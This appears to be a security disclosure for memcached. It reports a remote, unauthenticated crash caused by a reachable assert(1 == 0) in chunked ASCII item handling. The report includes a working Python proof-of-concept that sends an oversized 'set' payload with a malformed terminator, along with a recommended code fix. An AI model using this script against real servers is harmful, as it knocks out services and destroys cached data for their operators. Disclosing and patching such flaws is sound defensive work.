#1306·memcached

Remote Denial-of-Service via assert(1 == 0) in Chunked Item Processing

Author: gauravkdeoreCreated Jul 30, 2026Updated Jul 30, 2026

Summary

The memcached server contains a reachable assert(1 == 0) statement in the chunked item validation path of the ASCII protocol handler. When a client sends a set command with a payload larger than slab_chunk_size_max (default 512KB) that does not terminate with \r\n, the server aborts with SIGABRT instead of returning a client error. This allows a remote, unauthenticated attacker to crash any default memcached instance with a single TCP connection.

Technical Details

Location:

  • File: proto_text.c
  • Function: complete_nread_ascii()
  • Line: ~2733 (master branch)

Vulnerable Code:

c
} else {
    assert(1 == 0); // Always crashes. Intentional?
}

Root Cause: When processing chunked items (items with ntotal > slab_chunk_size_max), the server reads data in chunks and validates that each chunk ends with \r\n. If the final chunk validation fails, the code path hits assert(1 == 0) instead of graceful error handling. assert() is intended for debugging invariant conditions, not for handling malformed network input.

Trigger Conditions:

  1. Client sends set where nbytes is large enough that ntotal > slab_chunk_size_max (default 512KB)
  2. The payload does not end with \r\n

Steps To Reproduce

  1. Start memcached: ./memcached -p 11211
  2. Run the following PoC script:
python
#!/usr/bin/env python3
"""
PoC: memcached_chunked_assert_dos.py
Triggers SIGABRT via malformed chunked item.
"""
import socket
import sys

def exploit(host: str, port: int):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host, port))
    
    key = b"A"
    flags = b"0"
    exptime = b"0"
    nbytes = b"600000"  # > 512KB to force ITEM_CHUNKED
    
    cmd = b"set " + key + b" " + flags + b" " + exptime + b" " + nbytes + b"\r\n"
    s.sendall(cmd)
    
    # Send 599998 bytes of "A" followed by "XX" instead of "\r\n"
    payload = b"A" * 599998 + b"XX"
    s.sendall(payload)
    
    print("[*] Payload sent. Server should crash with SIGABRT.")
    
    try:
        resp = s.recv(100)
        print(f" Response: {resp}")
    except:
        print("[!] Connection closed — server likely crashed.")
    
    s.close()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <host> <port>")
        sys.exit(1)
    exploit(sys.argv[1], int(sys.argv[2]))
  1. Run: python3 poc.py 127.0.0.1 11211
  2. Observe server output: Assertion failed: (1 == 0), function complete_nread_ascii, file proto_text.c, line 2733.
  3. Server exits with code 134 (SIGABRT)

Recommended Fix

Replace the assert(1 == 0) with proper client error handling:

c
} else {
    out_errstring(c, "CLIENT_ERROR bad chunked data format");
    return;
}

This follows the same pattern used elsewhere in the protocol handlers for malformed input.

Impact

  • Remote, unauthenticated Denial-of-Service against any default memcached instance
  • All in-memory cached data is lost upon crash
  • Service requires manual restart
  • No authentication or special configuration required

CVSS 3.1 Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Affected Component: proto_text.c — ASCII protocol text handler Affected Versions: memcached master branch (all versions with chunked item support)